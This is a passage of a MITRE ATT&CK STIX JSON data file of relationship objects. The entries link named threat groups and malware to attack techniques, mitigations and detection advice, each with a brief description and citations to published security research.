Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf13b1fe-9653-4256-8ca9-d736470d53ec","type":"relationship","created":"2021-12-01T17:59:26.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T17:59:26.281Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use HTTP/S in C2 communications.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf16ba1d-ea81-4301-a1a4-083e4a8927fe","type":"relationship","created":"2020-03-09T15:04:32.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-28T01:02:24.259Z","description":"Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf17ef95-3173-4bfd-be73-1cd920e8c2da","created":"2023-03-31T17:37:49.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:17:30.964Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) created two new accounts, “admin” and “система” (System). The accounts were then assigned to a domain matching local operation and were delegated new privileges.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cf1c2a1e-90f7-40b1-93a1-7acdffc9e183","created":"2022-08-09T13:01:43.404Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-08-09T13:01:43.404Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf1d394d-a767-40a8-be7a-87c17531dfdb","created":"2022-08-11T22:48:44.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:03:59.166Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has exploited known vulnerabilities in public-facing infrastructure such as Microsoft Exchange Servers.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf1d7257-5831-4468-9d60-06da0a7e3c93","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor newly executed processes that may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf249a85-b0e9-4264-899f-164cdfa5a7c8","created":"2023-04-10T22:30:40.916Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:30:40.916Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has searched file contents on a compromised host.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf29f1f0-867f-4e08-9442-d10f75ec7702","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.901Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf2da3ab-4210-4a4b-932c-15dcc8b9c73f","type":"relationship","created":"2021-04-16T19:04:13.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T17:13:43.076Z","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf2df7c3-3efe-49d9-9c49-e35978d784c4","type":"relationship","created":"2021-08-25T21:30:06.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T22:07:00.705Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) has used a compromised SSH client to capture the hostname, port, username and password used to establish an SSH connection from the compromised host.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cf3093d2-9fd6-4004-a6c8-5c071ba83876","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","modified":"2022-04-19T14:06:54.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf32330f-0d67-4e10-adae-2fe3157f6888","type":"relationship","created":"2021-01-06T16:56:56.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."},{"source_name":"FireEye SUNBURST Additional Details Dec 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html","description":"Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."}],"modified":"2021-01-14T16:44:20.305Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) checked for a variety of antivirus/endpoint detection agents prior to execution.(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: FireEye SUNBURST Additional Details Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf32eab2-753c-4303-9667-54bc8c987a13","created":"2023-12-04T20:06:41.948Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:06:41.948Z","description":"(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf344f67-2bd0-400d-a90f-eb216761a192","created":"2024-09-23T20:37:03.372Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:37:03.372Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used fast flux DNS to mask their command and control channel behind rotating IP addresses.(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf36992b-49c7-4a4c-8fd0-30e23cd8d7b8","type":"relationship","created":"2020-01-14T01:29:43.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:29:43.874Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf36b530-36fa-40f5-b11c-94b5f5cfaf76","type":"relationship","created":"2021-06-11T17:02:07.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T17:02:07.723Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can delete files from a compromised host after they are exfiltrated.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf401927-62cc-4b10-99c1-c48841054e1e","created":"2023-07-28T17:58:55.757Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T17:58:55.757Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has compressed the dump output of compromised credentials with a 7zip binary.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf467be5-c162-4763-801b-32cb57a514ef","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.861Z","description":"(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf485f42-cc2f-4ef7-9226-533192a9413c","type":"relationship","created":"2019-06-25T15:34:24.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6","description":"Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.","source_name":"Microsoft Disable Macros"}],"modified":"2022-01-12T18:16:56.801Z","description":"Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf48cb46-cdff-440c-96bb-a7a8368306ca","type":"relationship","created":"2020-03-15T15:30:42.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc700828.aspx","description":"Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.","source_name":"TechNet Firewall Design"}],"modified":"2020-05-14T13:05:39.790Z","description":"Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf498579-a7c9-4d06-949b-fb75bf762990","type":"relationship","created":"2019-03-26T13:38:24.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.510Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic.(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf50c68f-0fbe-4151-99e6-ef29a4959887","created":"2024-07-18T21:23:25.553Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-18T21:23:25.553Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) included distribution of [IcedID](https://attack.mitre.org/software/S0483) en route to ransomware deployment.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf52ce28-12ae-43d2-b68e-b688b9d6be47","created":"2022-09-30T18:51:34.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:14:26.034Z","description":"Monitor contextual data about a file that may highlight embedded payloads, which may include information such as name, the content (ex: signature, headers, or data/media), file size, etc.; correlate with other suspicious behavior to reduce false positives. ","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf546d75-f689-4033-83eb-40a3edd71877","type":"relationship","created":"2021-12-27T17:40:56.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"modified":"2021-12-27T17:40:56.885Z","description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the ability of performing remote desktop access via a VNC console.(Citation: Check Point Warzone Feb 2020)","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf58d726-7674-4cdc-9ce1-9d7364aa4a0d","created":"2022-07-14T17:36:06.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:13:21.063Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has changed the Startup folder to the one containing its executable by overwriting the registry keys.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf60408f-5101-4cdf-935f-c5436071d6d0","type":"relationship","created":"2021-03-05T18:54:56.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-04-05T19:18:23.880Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) named a shellcode loader binary svchast.exe to spoof the legitimate svchost.exe.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020) ","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf629c11-56bd-4804-a03a-311689060c85","type":"relationship","created":"2022-01-20T14:57:42.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-20T14:57:42.181Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used native OS commands to understand privilege levels and system details.(Citation: CrowdStrike AQUATIC 